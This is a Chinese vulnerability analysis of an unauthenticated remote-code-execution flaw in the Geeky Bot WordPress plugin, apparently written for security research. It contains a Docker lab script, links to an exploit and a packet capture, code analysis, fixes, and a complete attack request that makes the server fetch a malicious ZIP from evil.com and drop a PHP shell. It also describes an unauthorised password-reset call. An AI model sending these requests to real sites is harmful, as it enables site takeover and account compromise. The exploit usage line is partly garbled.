0x0 背景介绍
Geeky Bot是开源WordPress AI聊天机器人插件,用于WooCommerce潜在客户生成和客户互动。
受影响版本中,geekybotLoadMoreProducts函数存在授权缺失漏洞。该函数注册为nopriv AJAX路由,允许未认证用户通过控制modelName和functionName参数调用任意模型方法。攻击者可利用此漏洞执行未授权操作并可能导致远程代码执行。
修复版本中通过添加wp_verify_nonce验证并实现$allowed_map白名单机制,限制仅允许特定模型和函数组合,消除了未授权访问风险。
0x1 环境搭建(Ubuntu24)
1.1-Ubuntu24+Docker搭建配置
bash
#!/bin/bash
# 检查依赖
if ! command -v unzip &> /dev/null; then
echo "[*] 安装依赖工具..."
apt update && apt install -y unzip wget curl
fi
echo "[*] 阶段1/5:创建漏洞复现目录..."
mkdir -p geekybot-cve-2026-5294 && cd geekybot-cve-2026-5294 || { echo "[x] 创建目录失败"; exit 1; }
echo "[+] 工作目录: $(pwd)"
echo "[*] 阶段2/5:生成 docker-compose.yml..."
cat > docker-compose.yml <<EOF
services:
db:
image: mysql:8.0
container_name: geekybot-db
environment:
MYSQL_ROOT_PASSWORD: rootpass
MYSQL_DATABASE: wordpress
MYSQL_USER: wpuser
MYSQL_PASSWORD: wppass
volumes:
- db_data:/var/lib/mysql
command: --default-authentication-plugin=mysql_native_password
wordpress:
image: wordpress:php7.4-apache
container_name: geekybot-wp
ports:
- "8092:80" # 使用 8092 端口,避免与其他环境冲突
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wpuser
WORDPRESS_DB_PASSWORD: wppass
WORDPRESS_DB_NAME: wordpress
volumes:
- wp_plugins:/var/www/html/wp-content/plugins
depends_on:
- db
volumes:
db_data:
wp_plugins:
EOF
echo "[*] 阶段3/5:启动 Docker 环境..."
docker compose up -d
echo "[*] 等待服务启动(约60秒)..."
for i in $(seq 1 12); do
echo -n "."
sleep 5
done
echo -e "\n[+] 服务启动完成"
echo "[*] 等待 WordPress 安装页面就绪..."
until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:8092/wp-admin/install.php)" = "200" ]; do
sleep 2
done
echo "[+] WordPress 已就绪"
echo "[*] 阶段4/5:下载并部署 Geeky Bot 1.2.2 漏洞插件..."
PLUGIN_URL="https://downloads.wordpress.org/plugin/geeky-bot.1.2.2.zip"
PLUGIN_ZIP="geeky-bot.1.2.2.zip"
PLUGIN_DIR="geeky-bot" # 解压后的目录名(通常与插件 slug 一致)
rm -rf "$PLUGIN_DIR" "$PLUGIN_ZIP"
# 下载官方历史版本
if ! wget -q "$PLUGIN_URL" -O "$PLUGIN_ZIP"; then
echo "[-] 下载失败,尝试备用镜像..."
if ! wget -q "https://downloads.wordpress.org/plugin/geeky-bot.1.2.2.zip" -O "$PLUGIN_ZIP"; then
echo "[!] 插件下载失败,请检查网络或插件是否仍可用"
exit 1
fi
fi
# 解压到当前目录
unzip -q "$PLUGIN_ZIP"
# 验证目录是否存在
if [ ! -d "$PLUGIN_DIR" ]; then
echo "[-] 解压后未找到插件目录 '$PLUGIN_DIR',请检查压缩包内部结构"
ls -la
exit 1
fi
# 复制到容器
docker cp "$PLUGIN_DIR" geekybot-wp:/var/www/html/wp-content/plugins/
# 修复权限
docker exec geekybot-wp chown -R www-data:www-data "/var/www/html/wp-content/plugins/$PLUGIN_DIR"
# 清理本地临时文件
rm -rf "$PLUGIN_ZIP" "$PLUGIN_DIR"
# 验证部署
if docker exec geekybot-wp test -f "/var/www/html/wp-content/plugins/$PLUGIN_DIR/geeky-bot.php"; then
echo "[+] Geeky Bot 1.2.2 官方插件部署成功!"
else
echo "[-] 插件主文件未找到,部署失败"
docker exec geekybot-wp ls -l "/var/www/html/wp-content/plugins/$PLUGIN_DIR/" || true
exit 1
fi
echo "=============================================="
echo " CVE-2026-5294 漏洞环境部署完成!"
echo " - 访问站点: http://localhost:8092"
echo " - 首次访问时请完成 WordPress 安装"
echo " * 站点标题: Geeky Bot - CVE-2026-5294"
echo " * 用户名: admin"
echo " * 密码: 自定义强密码(务必记住)"
echo " * 邮箱: cve-2026-5294@local.test"
echo ""
echo " - 安装步骤:"
echo " 1. 完成安装后登录后台"
echo " 2. 进入 '插件' -> 启用 'Geeky Bot'"
echo "=============================================="
0x2 漏洞复现
2.1-脚本验证
- 可以公网放一个zip然后进行请求下载
bash
https://github.com/Kai-One001/cve-/blob/main/Geeky_Bot_CVE_2026_5294.py
使用方法:python exp.py -u http://192.168. 19.131:8092 -z https://domnl ads.wcrtares.ors/blugia/hello-dally.1.7.2.zip -o hello-dally/readme. tx
-u 指定目标地址
-z 指定待下载的zip
-o 指定脚本去请求的文件

2.2-手动复现
2.2.1-未授权下载压缩包

2.2.2-未授权重置密码
apache
functionName=geekybot_resetPassword 指定方法
data[0]=admin 用作用户名或邮箱
msg=cve-2026-5294@local.test 用作用户名或邮箱(因为我这就是测试邮箱,所以没后续了)

2.3-复现流量特征 (PCAP)
- 本次项目的PCAP地址(不含密码重置,原因:1、构造相同,具体函数不一样 2、密码重置是后面发现的,单纯没再录)
bash
https://github.com/Kai-One001/PCAP-For-Cybersecurity.rule/blob/main/2026/CVE_2026_5294_Geeky_Bot.pcap
- 恶意的ZIP

- 请求解压后的shell

0x3 漏洞原理分析
3.0-架构与模块定位
Geeky Bot 插件按功能分为多个模块 (modules/),并存在两条独立的 AJAX 管道:
后台路由:
bash
includes/ajax.php 注册
wp_ajax_geekybot_ajax / wp_ajax_nopriv_geekybot_ajax,主要用于后台管理功能。虽然高危方法
downloadandinstalladdonfromAjax 被注册其中,
但该方法内部已实现 current_user_can('manage_options') 和 nonce 校验,因此匿名访问无法直接利用。
前台管道:
bash
includes/frontendajax.php 注册 wp_ajax_geekybot_frontendajax /
wp_ajax_nopriv_geekybot_frontendajax,原本为"聊天窗口加载更多商品"等前端功能设计。
模块相关

3.1-[核心入口] 先看 includes/frontendajax.php
判断"未登录能否打到危险逻辑",首要任务是搜索**wp_ajax_nopriv**注册点GEEKYBOTfrontendajax类在构造方法中同时注册了登录和未登录的回调(CVE描述),两者共用GEEKYBOT_frontendajaxhandler:
php
// includes/frontendajax.php
function __construct(){
add_action("wp_ajax_geekybot_frontendajax", array($this,"GEEKYBOT_frontendajaxhandler"));
add_action("wp_ajax_nopriv_geekybot_frontendajax", array($this,"GEEKYBOT_frontendajaxhandler"));
}
-
原本目的是需要访客"加载更多商品"确保访客可用。
-
但"访客可用"仅应指向极少量固定后端逻辑,而这的动态方法调度器完整暴露给未认证用户
-
nopriv注册本身不是漏洞,漏洞在于后续二次调用。
3.2-[逻辑断层] task 白名单的问题
GEEKYBOT_frontendajaxhandler会检查请求中的task是否属于$fucntin_allowed白名单,其中包含geekybotLoadMoreProducts
php
//includes/frontendajax.php
$fucntin_allowed = array('getMessageResponse','getRandomChatId',...'geekybotLoadMoreProducts','geekybotLoadMoreCustomPosts',...);
$task =GEEKYBOTrequest::GEEKYBOT_getVar('task');
if($task !=''&& in_array($task, $fucntin_allowed)){
$module =GEEKYBOTrequest::GEEKYBOT_getVar('geekybotme');
$result =GEEKYBOTincluder::GEEKYBOT_getModel($module)->$task();
...
}
-
这里的geekybotme未经过路径净化,但真正危险在于进入geekybotLoadMoreProducts之后------它将"要调用的具体功能"完全交给了HTTP参数。 -
第一层白名单只约束了"入口方法名"
-
第二层却把模型类名和方法名同时暴露给请求者 ,且没有任何映射或开关,是一个通用跳板。
3.3 [致命实现] geekybotLoadMoreProducts:完全受控的动态调用
php
//modules/geekybot/model.php
function geekybotLoadMoreProducts(){
$nonce =GEEKYBOTrequest::GEEKYBOT_getVar('_wpnonce');
if(! wp_verify_nonce( $nonce,'load-more')){
// disable nonce
// die( ' ' );
}
$msg =GEEKYBOTrequest::GEEKYBOT_getVar('msg');
$data =GEEKYBOTrequest::GEEKYBOT_getVar('data');
$next_page =GEEKYBOTrequest::GEEKYBOT_getVar('next_page');
$functionName = GEEKYBOTrequest::GEEKYBOT_getVar('functionName');
$modelName = GEEKYBOTrequest::GEEKYBOT_getVar('modelName');
...
$products = GEEKYBOTincluder::GEEKYBOT_getModel($modelName)->$functionName($msg, $data, $next_page);
...
}
-
Nonce验证被注释:
wp_verify_nonce失败时本应执行die(),但该行被注释,导致任何nonce(或留空)均可通过。 -
动态调用无限制:
$modelName 和 $functionName完全由攻击者提供,可直接实例化任意模型类并调用其任意公开方法。调用时传入三个参数:$msg、$data、$next_page(均来自请求)。 -
这会导致攻击者不仅可以调用原本不应该暴露的管理功能,还能通过精心选择方法和参数,链接到文件系统操作。修复版必须引入
$allowed_map白名单,严格限制可用的(modelName, functionName)组合。
3.4-[并列风险]geekybotLoadMoreCustomPosts的意外发现
同一模型文件中还存在一个类似方法geekybotLoadMoreCustomPosts,其模型被固定为systemaction,但functionName依然由用户控制:
php
//modules/geekybot/model.php
function geekybotLoadMoreCustomPosts(){
$nonce = GEEKYBOTrequest::GEEKYBOT_getVar('_wpnonce');
if (! wp_verify_nonce( $nonce, 'load-more') ) {
// disable nonce
// die( ' ' );
}
...
$posts = GEEKYBOTincluder::GEEKYBOT_getModel('systemaction')->$functionName($msg, $data, $next_page);
}
- 虽然攻击面被缩小到单一模型,但
systemaction模型上的敏感方法(如密码重置等),仍可被未授权调用。
php
// modules/systemaction/model.php
function geekybot_resetPassword($msg, $data) {
// ...
$username_or_email = $first_value; // 直接从请求参数中获取
$user_data = get_user_by( 'login', $username_or_email );
// 若未通过用户名找到,则按邮箱查找
if ( ! $user_data ) {
$user_data = get_user_by( 'email', $username_or_email );
}
// 如果找到用户,则生成密码重置密钥,发送重置邮件
if ( $user_data ) {
return $this->sendRestLinkToUserThroughEmail($user_data);
}
}
-
sendRestLinkToUserThroughEmail内部会调用get_password_reset_key生成合法密钥,并通过wp_mail向用户邮箱发送包含重置链接的邮件
-
整个过程没有任何权限检查或nonce验证
3.5-[攻击链路] 从 HTTP 参数到 RCE
markdown
1. 设计预期:
仅允许前台加载更多商品列表。
2. 实际实现:
未认证请求可驱动任意 GEEKYBOT*Model 方法,包括直接写文件系统的 install_plugin。
install_plugin 的实现,仅接收一个参数 $plugin_zip,随后执行下载并解压至插件目录:
php
//modules/premiumplugin/model.php
function install_plugin( $plugin_zip ) {
do_action('geekyboot_load_wp_admin_file');
WP_Filesystem();
$tmpfile = download_url( $plugin_zip );
if ( !is_wp_error( $tmpfile ) && $tmpfile ) {
$plugin_path = WP_CONTENT_DIR . '/plugins/';
$path = GEEKYBOT_PLUGIN_PATH . 'addon.zip';
copy( $tmpfile, $path );
$unzipfile = unzip_file( $path, $plugin_path);
...
}
}
-
动态调用时
install_plugin接收的第一个实参正是请求中的msg -
因此,攻击者只需将
msg设置为恶意 ZIP 的直链地址,即可触发下载 → 解压 → 落地任意 PHP 文件,完成远程代码执行。
完整攻击链总结:
bash
HTTP POST: action=geekybot_frontendajax
&geekybotme=geekybot
&task=geekybotLoadMoreProducts
&modelName=premiumplugin
&functionName=install_plugin
&msg=http://evil.com/shell.zip
&data={}&next_page=0&_wpnonce=
→ [未登录可达] GEEKYBOT_frontendajaxhandler
→ GEEKYBOTgeekybotModel::geekybotLoadMoreProducts
→ nonce 被注释,直接通过
→ GEEKYBOT_getModel('premiumplugin')->install_plugin($msg='http://evil.com/shell.zip', ...)
→ download_url('http://evil.com/shell.zip')
→ unzip_file → /wp-content/plugins/
→ 恶意 PHP 文件落地
0x4 修复建议
1、升级最新版本:将组件升级安全版本,v1.2.2以上版本
ruby
https://wordpress.org/plugins/geeky-bot/
2、临时防护措施:
-
服务器隔离:限制插件目录写权限,阻止恶意文件落地
-
防火墙 / WAF:针对请求特征进行拦截action=geekybot_frontendajax、task=geekybotLoadMoreProducts,同时包含modelName和functionName 参数
-
日志审查:检查是否存在异常的请求以及不明账户(一定要底层查询)
免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。